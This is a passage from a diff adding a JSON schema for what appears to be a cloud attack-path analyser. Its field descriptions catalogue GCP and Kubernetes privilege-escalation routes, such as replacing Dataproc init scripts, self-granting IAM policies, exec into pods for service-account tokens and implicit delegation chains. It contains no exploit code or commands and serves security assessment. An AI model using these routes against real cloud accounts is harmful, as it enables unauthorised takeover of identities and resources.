"description": "Source can update the PyPI packages of a running Composer environment using the target service account." + }, + "gcp_composer_storage_policy_path": { + "description": "Source can write the IAM policy of the exact DAG bucket or managed folder for a usable Composer environment.", + "type": "string" + }, + "gcp_configdelivery_fleet_target": { + "const": true, + "description": "Exact GKE fleet membership, Config Sync feature and RootSync authority with the source's Config Delivery rights on the fleet host project." + }, + "gcp_cross_project_cloudbuild": { + "const": true, + "description": "A build in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Cloud Build service agent has token access." + }, + "gcp_cross_project_run_instance": { + "const": true, + "description": "A Cloud Run instance can be created or updated in a different collected project with the target SA only when the exact host action, target project's effective cross-project policy, and service-agent token access are resolved." + }, + "gcp_cross_project_run_job": { + "const": true, + "description": "A Cloud Run job can be created and run in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." + }, + "gcp_cross_project_run_service": { + "const": true, + "description": "A Cloud Run service can be created in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." + }, + "gcp_cross_project_workflows": { + "const": true, + "description": "A workflow in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Workflows service agent has token access." + }, + "gcp_custom_role_bound_to_source": { + "const": true, + "description": "Target is the exact scope where the source has a binding to a collected custom role, and the source can update that exact role." + }, + "gcp_dataflow_artifact_overwrite_path": { + "const": true, + "description": "An active Dataflow job links the exact worker account to an unpinned code object that the source can replace and the worker can read." + }, + "gcp_dataflow_flex_launch_path": { + "const": true, + "description": "Enabled Dataflow API, project read, usable staging bucket, worker role and access, and Dataflow and Compute service-agent rights on the exact worker account." + }, + "gcp_datafusion_artifact_poison_path": { + "const": true, + "description": "A replaceable USER-scoped CDAP artifact version is used by an enabled pipeline schedule with a resolved runner and exact namespace and runtime permissions." + }, + "gcp_datafusion_pipeline_path": { + "const": true, + "description": "An installed pipeline artifact exposes a code plugin, and exact namespace, profile, service-agent and runner permissions support execution." + }, + "gcp_datafusion_selfgrant_path": { + "const": true, + "description": "The source can change the exact Data Fusion instance or namespace IAM policy, then reach an installed code plugin's runnable profile account." + }, + "gcp_datapipelines_scheduled_template_path": { + "const": true, + "description": "Enabled Data Pipelines runtime, scheduled region, service agents, and an authorized Scheduler identity for the exact worker account." + }, + "gcp_dataplex_task_path": { + "const": true, + "description": "An active lake accepts task creation, the selected account can be acted as and run Spark, and a writable Python payload is readable by that account." + }, + "gcp_dataproc_cluster_selfgrant_path": { + "const": true, + "description": "The source can change an exact running Dataproc cluster policy, create a job in its project, and supply a script the cluster account can read." + }, + "gcp_dataproc_create_path": { + "const": true, + "description": "The source can create a Dataproc workload with the chosen service account, runnable worker, script, service agent, and subnet." + }, + "gcp_dataproc_gateway_path": { + "const": true, + "description": "An enabled notebook gateway on an exact running cluster lets the caller run code with its verified VM or mapped service account." + }, + "gcp_dataproc_init_replace_path": { + "const": true, + "description": "The caller can replace one live initialization-action object that a running cluster's VM account can read." + }, + "gcp_dataproc_job_path": { + "const": true, + "description": "The caller can submit a runnable job to an exact running cluster and use its verified VM or mapped service account." + }, + "gcp_dataproc_session_path": { + "const": true, + "description": "The source can create and access a Dataproc interactive session with the chosen service account and a usable runtime." + }, + "gcp_dataproc_workflow_path": { + "const": true, + "description": "The caller can create and instantiate a managed-cluster workflow with a runnable initialization action and chosen service account." + }, + "gcp_deploymentmanager_create_path": { + "const": true, + "description": "An existing customer's enabled Deployment Manager can use the exact project Google APIs Service Agent for a viable VM path." + }, + "gcp_deploymentmanager_selfgrant_path": { + "const": true, + "description": "The caller can change an exact deployment policy, grant itself update, and use the exact project agent's downstream path." + }, + "gcp_deploymentmanager_update_path": { + "const": true, + "description": "The caller can update an exact existing deployment with a current fingerprint and use its project agent's downstream path." + }, + "gcp_developerconnect_pipeline_path": { + "const": true, + "description": "The caller can write the exact Developer Connect link of an enabled push trigger with a repository build file and a more privileged build identity." + }, + "gcp_eventarc_oauth_pipeline_path": { + "const": true, + "description": "An exact Eventarc project has pipeline-create permission, a same-region enrollment route through an existing or creatable bus, and a service agent able to mint an OAuth token for the target SA." + }, + "gcp_external_plane": { + "description": "Exact external authorization plane named by the reviewed principal-gain record.", + "type": "string" + }, + "gcp_external_principal_evidence": { + "const": true, + "description": "Unique complete reviewed evidence binds a declared action to one named external-plane principal, usable credential, and a newly allowed target action." + }, + "gcp_firebase_apphosting_retarget": { + "const": true, + "description": "An exact active Firebase App Hosting backend exists in the target SA project and the source can update, build and roll out on that backend." + }, + "gcp_fleet_config_management_target": { + "const": true, + "description": "Exact GKE fleet member, feature lifecycle and member feature, mutation permission on the matching resource, and Config Sync RootSync authority." + }, + "gcp_fleet_rbac_admin_target": { + "const": true, + "description": "Exact fleet membership or scope binding to an observed admin-equivalent custom ClusterRole on its joined GKE cluster, with an API access path." + }, + "gcp_gcr_namespace_path": { + "const": true, + "description": "Fully redirected gcr.io host with a missing matching repository, create and upload rights there, and an exact tagged workload consumer identity." + }, + "gcp_gke_clusterrole_bind": { + "const": true, + "description": "A joined running GKE cluster has a confirmed cluster-admin ClusterRole and a create path or an existing ClusterRoleBinding whose subjects can be updated." + }, + "gcp_gke_clusterrole_escalate": { + "const": true, + "description": "A joined running GKE cluster has an exact ClusterRoleBinding reaching the source, and the source can update its non-aggregated ClusterRole or create its missing referenced ClusterRole." + }, + "gcp_gke_namespaced_rbac_ksa_path": { + "const": true, + "description": "Exact joined GKE namespace RBAC permits a self-grant of Pod creation or ServiceAccount token creation for the target KSA." + }, + "gcp_gke_node_proxy_ksa": { + "const": true, + "description": "Exact GKE node proxy grant reaches a running container on a joined Node with the target Kubernetes service account token." + }, + "gcp_gke_node_proxy_sa": { + "const": true, + "description": "Exact GKE node-pool service account is joined to a running Pod on a labeled node whose metadata mode permits its token to be read through kubelet execution." + }, + "gcp_gke_node_sa_actas": { + "const": true, + "description": "An enabled service account can be selected for new Standard GKE nodes, and the source can create a pod on those nodes; cross-project use needs its guardrails." + }, + "gcp_gke_nodepool_metadata_downgrade": { + "const": true, + "description": "An exact Standard GKE node pool currently using GKE_METADATA can be updated and has a Pod workload path to its attached node service account." + }, + "gcp_gke_pod_exec_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container with a mounted API audience token and Google-principal Pod exec authority." + }, + "gcp_gke_pod_exec_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a node with a running Pod container whose metadata mode exposes that account." + }, + "gcp_gke_pod_template_ksa": { + "const": true, + "description": "Exact GKE workload create authority, or update authority over an existing mutable controller in the target KSA namespace, with Google-principal cluster authentication." + }, + "gcp_gke_pod_template_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a schedulable node with usable metadata; the source can create a workload, update an existing controller, or update a running Pod." + }, + "gcp_gke_pod_update_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container whose image can be changed and whose mounted token has the API audience." + }, + "gcp_gke_secret_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount UID matches a populated, valid token Secret that the Google principal can list or read by a discoverable name." + }, + "gcp_gke_system_impersonation": { + "const": true, + "description": "An exact running GKE Standard cluster accepts system identity impersonation and the source can authenticate to its API server." + }, + "gcp_gke_token_request_ksa": { + "const": true, + "description": "Exact joined running GKE cluster has a non-deleting Kubernetes ServiceAccount whose TokenRequest subresource the Google principal can create." + }, + "gcp_gke_webhook_ksa_path": { + "const": true, + "description": "A running GKE cluster has a KSA workload that can be reached by a new webhook or by updating an existing webhook configuration." + }, + "gcp_group_join_open_to_source": { + "const": true, + "description": "gcp_group targets the source can join without approval (Groups Settings whoCanJoin ANYONE_CAN_JOIN, or ALL_IN_DOMAIN_CAN_JOIN with the source's email domain equal to the group's; a source outside the group's domain also needs allowExternalMembers=true). Use with requires: {} and source_kind gcp_user." + }, + "gcp_hmac_storage_identity": { + "const": true, + "description": "Each enabled inventoried service account becomes a separate Cloud Storage-only HMAC authority target." + }, + "gcp_image_family_consumer": { + "const": true, + "description": "gcp_service_account targets attached to a collected instance template whose boot disk sourceImage is an image family (projects/

/global/images/family/); {target.image_family_project} = projects/

of those families." + }, + "gcp_implicit_delegation_chain": { + "const": true, + "description": "Target SA is one a delegate chain can mint credentials for: the source holds iam.serviceAccounts.implicitDelegation on delegate D1, each Di holds implicitDelegation on Di+1 (transitively), and some Dk holds getAccessToken, signBlob or signJwt on the target. Delegates are not targets themselves (implicitDelegation does not yield their own token)." + }, + "gcp_kcc_generated_key_secret": { + "const": true, + "description": "A joined KCC identity can create a key for the exact target service account while the source can create the KCC resource and read its generated Secret or key resource status on the same cluster." + }, + "gcp_kcc_project_policy_grant": { + "const": true, + "description": "A joined GKE cluster and Config Connector namespace identity can write a collected project's IAM policy through a served KCC policy resource." + }, + "gcp_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account has metadata control and a concrete startup or metadata SSH path." + }, + "gcp_mig_create_path": { + "const": true, + "description": "A new instance template and managed instance group can use a ready image and subnet, caller and service-agent permissions, and the exact target service account." + }, + "gcp_mig_existing_template_path": { + "const": true, + "description": "One inventoried managed instance group and its current template are joined to exact update, template, supporting, rollout, and service-agent actAs permissions." + }, + "gcp_osadminlogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request administrator login on that exact VM." + }, + "gcp_osconfig_guest_policy_path": { + "const": true, + "description": "A running VM attached to the target service account has an active OS Config inventory heartbeat and enabled guest-policy processing; creation or exact existing-policy update authority is checked separately." + }, + "gcp_osconfig_os_policy_assignment_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; zonal create or named update authority is checked separately." + }, + "gcp_osconfig_patch_job_path": { + "const": true, + "description": "A running patch-supported VM attached to the target service account has enabled patch processing and a recent agent heartbeat; project execute/create or exact deployment update authority is checked separately." + }, + "gcp_osconfig_policy_orchestrator_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; the source can write an orchestrator at a containing parent with required service agents." + }, + "gcp_oslogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request standard login on that exact VM." + }, + "gcp_pam_entitlement_requester": { + "const": true, + "description": "Target scope has a Privileged Access Manager entitlement whose eligible requesters include the source (directly or through a group) and whose roles give IAM control of the scope. PAM entitlements are not collected (not evaluated)." + }, + "gcp_privatecatalog_dm_iam_path": { + "const": true, + "description": "An exact validated Deployment Manager version is shared to a consumer project whose Google APIs Service Agent has project IAM write authority the source lacks; the source can update that version." + }, + "gcp_project_iam_sa_token_grant": { + "const": true, + "description": "An exact project IAM policy writer can add a project-wide Token Creator binding for itself and mint a token for a named enabled service account it cannot already impersonate." + }, + "gcp_project_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account inherits controlled project metadata and has a concrete startup or metadata SSH path." + }, + "gcp_resource_self_grant": { + "const": true, + "description": "A reviewed accepted self-grant or a modeled exact-resource policy write that adds a new permission; prospective resources include Secret Manager secrets, Cloud KMS keys, Pub/Sub topics and subscriptions, standard Artifact Registry repositories, and Analytics Hub exchanges and listings." + }, + "gcp_run_instance_create_or_update_path": { + "const": true, + "description": "Source can create a Cloud Run instance in the target project or update an exact existing instance there." + }, + "gcp_run_instance_ssh_path": { + "const": true, + "description": "Source has SSH permission on an attached Cloud Run instance that is running or can be started." + }, + "gcp_run_job_create_execute_path": { + "const": true, + "description": "Source can create and run a new Cloud Run job in the target service account's project when both grants apply there and the API is enabled." + }, + "gcp_run_job_override_path": { + "const": true, + "description": "Source can run a ready collected Cloud Run job with overrides on the same job, whose recorded interpreter command accepts code through overridden arguments." + }, + "gcp_run_job_policy_override_path": { + "const": true, + "description": "Source can self-grant missing actions on an exact ready Cloud Run job and execute code through its recorded interpreter or an update with actAs on the pinned service account." + }, + "gcp_run_job_update_execute_path": { + "const": true, + "description": "Source can update and run the same collected Cloud Run job in the target service account's project." + }, + "gcp_run_service_create_path": { + "const": true, + "description": "Source can create a new Cloud Run service in the target service account's project when the grant applies there and the API is enabled." + }, + "gcp_run_service_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run service whose IAM policy it controls." + }, + "gcp_run_service_ssh_path": { + "const": true, + "description": "Source has SSH permission on an attached, ready second-generation Cloud Run service with SSH enabled." + }, + "gcp_run_service_update_path": { + "const": true, + "description": "Source can update an exact collected Cloud Run service in the target service account's project." + }, + "gcp_run_worker_pool_create_or_update_path": { + "const": true, + "description": "Source can create a worker pool in the target project or update an exact existing worker pool there." + }, + "gcp_run_worker_pool_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run worker pool whose IAM policy it controls." + }, + "gcp_sa_in_scope_of_permission": { + "const": true, + "description": "Requirements with resource '*' must hold on the target SA's project (or the SA / an ancestor)." + }, + "gcp_sa_swap_vm_path": { + "const": true, + "description": "An existing VM can stop if needed, attach the target service account, start, and run code or allow login on that same VM." + }, + "gcp_sourcerepo_trigger_path": { + "description": "A collected Cloud Source repository and enabled push trigger are joined to its exact build service account and source permission (push or selfgrant).", + "type": "string" + }, + "gcp_vertex_batch_prediction_path": { + "const": true, + "description": "Source can create a batch prediction job with an inline container and use a target service account delegated to the Vertex AI service agent." + }, + "gcp_vertex_new_model_endpoint_path": { + "const": true, + "description": "Source can upload a custom model, create an endpoint, deploy it, and use a target service account delegated to the Vertex AI service agent." + }, + "gcp_vm_create_path": { + "const": true, + "description": "The source can create a VM with the target service account and a usable boot image, subnet, startup metadata, and outbound access path." + }, + "gcp_vmmigration_metadata_clone_path": { + "const": true, + "description": "Source can update and clone the same MigratingVm whose target defaults name the target runtime service account." + }, + "gcp_wif_active_path": { + "description": "An exact active workload pool or provider is joined to a pool-wide service-account token binding and the source's control action.", + "type": "string" + }, + "gcp_wif_restorable_path": { + "const": true, + "description": "An exact disabled or deleted workload pool or provider is joined to a pool-wide service-account token binding and the source's restore action." + }, + "gcp_workbench_existing_takeover_path": { + "const": true, + "description": "Source can update and boot the same existing Workbench instance or self-grant its instance administration rights." + }, + "gcp_workflows_observed_external_execution": { + "const": true, + "description": "An enabled Scheduler job is recorded to execute an exact workflow the source can update; other possible triggers remain unresolved." + }, + "gcp_workflows_update_attach_path": { + "const": true, + "description": "Source can update and execute an existing active workflow in the target service account's project." + }, + "gcp_workflows_update_execute_same_workflow": { + "const": true, + "description": "Source can update and execute the same active workflow attached to the target service account." + }, + "gcp_workforce_control_path": { + "const": true, + "description": "An exact workforce pool or provider control action is joined to an organization-local pool-wide service-account token binding." + }, + "gcp_workspace_super_admin_with_registered_domain": { + "const": true, + "description": "gcp_workspace_user targets that are Workspace super administrators of a customer whose customerDomain matches an ACTIVE Cloud Domains registration; {target.domain_registration} = those registration resource names." + }, + "gcp_workstations_create_config_path": { + "const": true, + "description": "An existing workstation cluster allows config and workstation creation for the chosen service account." + }, + "gcp_workstations_create_from_config_path": { + "const": true, + "description": "The source can create a workstation from an exact config and can act as the account if its scopes require that." + }, + "gcp_workstations_use_existing_path": { + "const": true, + "description": "The source can use an exact running workstation, start and use a stopped one, or self-grant access through its policy." + }, + "k8s_sa_has_token_secret": { + "const": true, + "description": "GKE: KSAs of cluster {target.scope} referenced by a kubernetes.io/service-account-token Secret (annotation kubernetes.io/service-account.name); joined from the related K8s snapshot, else one conditional aggregate per cluster." + }, + "k8s_sa_in_cluster": { + "const": true, + "description": "GKE: every KSA of cluster {target.scope}; joined from the related K8s snapshot, else one conditional aggregate per cluster." + }, + "k8s_sa_used_by_running_pod": { + "const": true, + "description": "Service account is used by a running pod with an available token." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + } + }, + "type": "object" + } + } + } + } + }, + "k8s_conjunction": { + "items": { + "$ref": "#/$defs/k8s_item" + }, + "minItems": 1, + "type": "array" + }, + "k8s_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/k8s_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/k8s_item" + }, + { + "$ref": "#/$defs/k8s_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "k8s_item": { + "anyOf": [ + { + "$ref": "#/$defs/k8s_requirement" + }, + { + "$ref": "#/$defs/k8s_group" + } + ] + }, + "k8s_requirement": { + "additionalProperties": false, + "anyOf": [ + { + "required": [ + "resource" + ] + }, + { + "required": [ + "resource_match" + ] + } + ], + "oneOf": [ + { + "not": { + "required": [ + "verb_prefix" + ] + }, + "required": [ + "verb" + ] + }, + { + "not": { + "required": [ + "verb" + ] + }, + "required": [ + "verb_prefix" + ] + } + ], + "properties": { + "api_group": { + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "namespace": { + "description": "'{target.namespace}', '{source.namespace}', '*' (cluster-wide) or a literal.", + "type": "string" + }, + "notes": { + "type": "string" + }, + "resource": { + "description": "Resource (use subresource for a/b).", + "pattern": "^[^/]*$", + "type": "string" + }, + "resource_match": { + "description": "any: any resource (and API group unless api_group is set) the rule names.", + "enum": [ + "any" + ] + }, + "resource_name": { + "type": "string" + }, + "subresource": { + "type": "string" + }, + "verb": { + "minLength": 1, + "type": "string" + }, + "verb_prefix": { + "description": "Any rule verb starting with this prefix matches (e.g. 'impersonate-on:user-info:').", + "pattern": "^[^*]+$", + "type": "string" + } + }, + "type": "object" + }, + "k8s_technique": { + "properties": { + "id": { + "pattern": "^k8s-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [ + "k8s_eks_cluster", + "k8s_openshift_cluster" + ] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [ + "k8s_eks_cluster", + "k8s_openshift_cluster" + ] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/k8s_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/k8s_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "cloud_identity", + "gcp_service_account", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user" + ] + }, + { + "items": { + "enum": [ + "cloud_identity", + "gcp_service_account", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "eks_access_entry_type": { + "description": "EKS access entry type of the source EKS node-role cloud identity (related AWS eks_access_entry); sources whose entries have another type are dropped, sources without an entry are decided by the target selector.", + "type": "string" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "k8s_node_role": { + "description": "Node carries node-role.kubernetes.io/ label.", + "type": "string" + }, + "source_bound_to_aggregated_clusterrole": { + "anyOf": [ + { + "const": true + }, + { + "const": "cluster" + }, + { + "const": "namespace" + } + ], + "description": "Source is bound to a ClusterRole with an aggregationRule: true = by any (Cluster)RoleBinding, 'cluster' = by a ClusterRoleBinding only (cluster-wide)." + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "cloud_identity", + "gcp_service_account", + "gcp_verified_authority", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "azure_fic_matches_k8s_sa": { + "const": true, + "description": "Federated identity credential subject matches the SA (cloud facts needed)." + }, + "exclude_names": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Drop targets whose name is in the list." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "gcp_workload_identity_user_granted_to_k8s_sa": { + "const": true, + "description": "GSA grants roles/iam.workloadIdentityUser to the KSA member (cloud facts needed)." + }, + "k8s_aggregated_rolebinding_namespace": { + "const": true, + "description": "The source is bound in the target namespace to a ClusterRole whose aggregationRule selects new ClusterRoles." + }, + "k8s_aggregation_new_role_path": { + "const": true, + "description": "An escalation grant admits a new ClusterRole name that is not already used by a collected role." + }, + "k8s_bound_role_gain": { + "const": true, + "description": "Collected Role rules contain a concrete permission the source lacks; the source can bind that exact Role in the target namespace." + }, + "k8s_challenge_fact": { + "description": "Exact reviewed Kubernetes technique/source/target/scope evidence.", + "type": "string" + }, + "k8s_cluster_admin_role_exists": { + "const": true, + "description": "The named cluster-admin ClusterRole is collected and grants pod creation or named ServiceAccount TokenRequest in the target namespace." + }, + "k8s_clusterrolebinding_gain": { + "const": true, + "description": "A collected ClusterRole grants a new cluster-wide permission and the source can bind that exact role." + }, + "k8s_constrained_impersonation_gain": { + "description": "The impersonate-on action overlaps an observed right of the selected identity and grants a concrete action the source lacks.", + "type": "string" + }, + "k8s_csr_sa_subject": { + "const": true, + "description": "A collected RBAC binding names this ServiceAccount username and resolves to a role with effective rules." + }, + "k8s_csr_same_name_path": { + "const": true, + "description": "Read and approval permissions overlap on one creatable CSR name; restricted names stay unresolved without CSR inventory." + }, + "k8s_dangling_sa_permission_gain": { + "const": true, + "description": "The missing ServiceAccount's direct binding resolves to a role with a concrete permission that the source lacks." + }, + "k8s_existing_clusterrolebinding_gain": { + "const": true, + "description": "An existing ClusterRoleBinding targets the exact ClusterRole and the source can modify that binding to gain a new cluster-wide permission." + }, + "k8s_existing_rolebinding_gain": { + "const": true, + "description": "An existing RoleBinding targets the exact Role, the source can modify that binding and bind the Role, and the Role grants a new permission." + }, + "k8s_helm_values_rbac": { + "const": true, + "description": "Reviewed exact ConfigMap-to-Helm-to-RoleBinding permission grant for the lab documented by the source." + }, + "k8s_kcc_project_policy_grant": { + "const": true, + "description": "Exact namespace RBAC can change a Config Connector project IAM resource whose configured identity can read and set that project's IAM policy." + }, + "k8s_kcc_service_account_key_path": { + "const": true, + "description": "Joined Config Connector identity and exact Google service account key creation through a namespaced Kubernetes source." + }, + "k8s_mutating_admission_policy_served": { + "const": true, + "description": "API discovery advertises both MutatingAdmissionPolicy and MutatingAdmissionPolicyBinding resources; missing resource discovery is unresolved." + }, + "k8s_node_cloud_identity": { + "const": true, + "description": "Cloud identity attached to the node (cloud facts needed)." + }, + "k8s_node_hosting_host_mount_pod_in_namespace": { + "description": "Node hosts a pod of that namespace mounting a sensitive hostPath: a container runtime socket or a node credential path (even readOnly), or a host-executed path mounted writable; /etc/kubernetes, /home, /var/lib/docker|containerd and subPath mounts match conditionally. Other hostPaths (e.g. /var/log) do not match.", + "minLength": 1, + "type": "string" + }, + "k8s_node_hosting_pod_of_source": { + "const": true, + "description": "k8s_node targets hosting a collected pod that runs as the source service account (the 'associated node')." + }, + "k8s_node_hosting_pods_in_namespace": { + "description": "Node hosts pods of that namespace.", + "minLength": 1, + "type": "string" + }, + "k8s_node_hosting_pods_with_sa": { + "const": true, + "description": "Service account is mounted by a scheduled pod (k8s_service_account) or node hosts pods (k8s_node); with a k8s_node source, the SAs of pods scheduled on that node." + }, + "k8s_node_hosting_privileged_pod_in_namespace": { + "description": "Node hosts a pod of that namespace with a privileged container (containers, initContainers or ephemeralContainers); added SYS_ADMIN / SYS_MODULE / DAC_READ_SEARCH / ALL, or SYS_PTRACE with hostPID, match conditionally. hostNetwork, hostIPC and hostPID alone do not match.", + "minLength": 1, + "type": "string" + }, + "k8s_node_schedulable": { + "const": true, + "description": "Node can be targeted by direct pod placement with spec.nodeName even when cordoned; unconfirmed readiness is conditional." + }, + "k8s_nodes_mapped_to_cloud_identity": { + "const": true, + "description": "Nodes running with the source EKS node role (instance facts) that the role is mapped to: a node access entry (EC2_LINUX/EC2_WINDOWS) = derived, no entry = conditional (aws-auth mapRoles not collected; dropped in API-only authentication mode); not evaluated without the related AWS eks_access_entry inventory." + }, + "k8s_pod_access_path": { + "description": "Join the named Running pod, its ServiceAccount, token volume/mount and the source's exact-name RBAC grant for modify_image, exec, exec_get_websocket, attach or ephemeral_container.", + "type": "string" + }, + "k8s_sa_absent_but_bound": { + "const": true, + "description": "Service account referenced by a (Cluster)RoleBinding subject but absent from the serviceaccount inventory (virtual SA node; anyone who can create it inherits the binding)." + }, + "k8s_sa_cloud_binding": { + "description": "Cloud identity bound to the source SA via irsa|eks_pod_identity|gke_workload_identity|azure_workload_identity|aks_identity_binding (cloud facts needed).", + "type": "string" + }, + "k8s_sa_has_legacy_token_secret": { + "const": true, + "description": "ServiceAccounts referenced by a kubernetes.io/service-account-token Secret in their namespace (annotation kubernetes.io/service-account.name, from secret metadata; never data)." + }, + "k8s_sa_in_namespace": { + "description": "Target service account namespace: '{source.namespace}', '{target.namespace}', '*', or a literal namespace.", + "minLength": 1, + "type": "string" + }, + "k8s_sa_missing_in_host_scc_users": { + "const": true, + "description": "OpenShift: absent service account named in a host-access SCC users[] entry in an existing namespace; missing inventory is unresolved." + }, + "k8s_sa_name": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target service account name is one of the listed names." + }, + "k8s_sa_named_in_scc_users": { + "const": true, + "description": "OpenShift: service account named in a SecurityContextConstraints users[] entry (system:serviceaccount::); SA nodes only named by an SCC are virtual." + }, + "k8s_sa_namespace_absent": { + "const": true, + "description": "Service account referenced by a binding that adds a concrete permission or by a host-access SCC users[] entry whose namespace is absent from a complete namespace inventory." + }, + "k8s_sa_used_by_controller_managed_pod": { + "const": true, + "description": "Service account is used by a pod owned by a controller (ownerReferences)." + }, + "k8s_sa_used_by_interactive_pod": { + "const": true, + "description": "Service account is used by a Running pod with a running container whose stdin is enabled; whether its process accepts commands remains conditional." + }, + "k8s_sa_used_by_pending_pod": { + "const": true, + "description": "Service account of a collected pod in phase Pending with no spec.nodeName (unscheduled; a pods/binding or bindings write can place it on a node the attacker controls)." + }, + "k8s_sa_used_by_pod_consuming_configmap": { + "const": true, + "description": "Service account is used by a running pod that consumes a ConfigMap (volume, projected volume, envFrom or env valueFrom; kube-root-ca.crt ignored); always conditional because execution of the content is not verified." + }, + "k8s_sa_used_by_running_pod": { + "const": true, + "description": "Service account is used by a running pod with an available token." + }, + "k8s_secret_holds_cloud_credential": { + "anyOf": [ + { + "const": true + }, + { + "enum": [ + "aws", + "gcp", + "azure", + "any" + ] + }, + { + "items": { + "enum": [ + "aws", + "gcp", + "azure", + "any" + ] + }, + "minItems": 1, + "type": "array" + } + ], + "description": "cloud_identity targets standing for a static cloud credential stored in a Secret (one node per Secret, scope /, {target.name} = Secret name), recognised from Secret metadata only (name, labels, annotations: never data); value aws|gcp|azure|any or a list. Always conditional (content not verified)." + }, + "k8s_secret_holds_remote_cluster_credential": { + "anyOf": [ + { + "const": true + }, + { + "pattern": 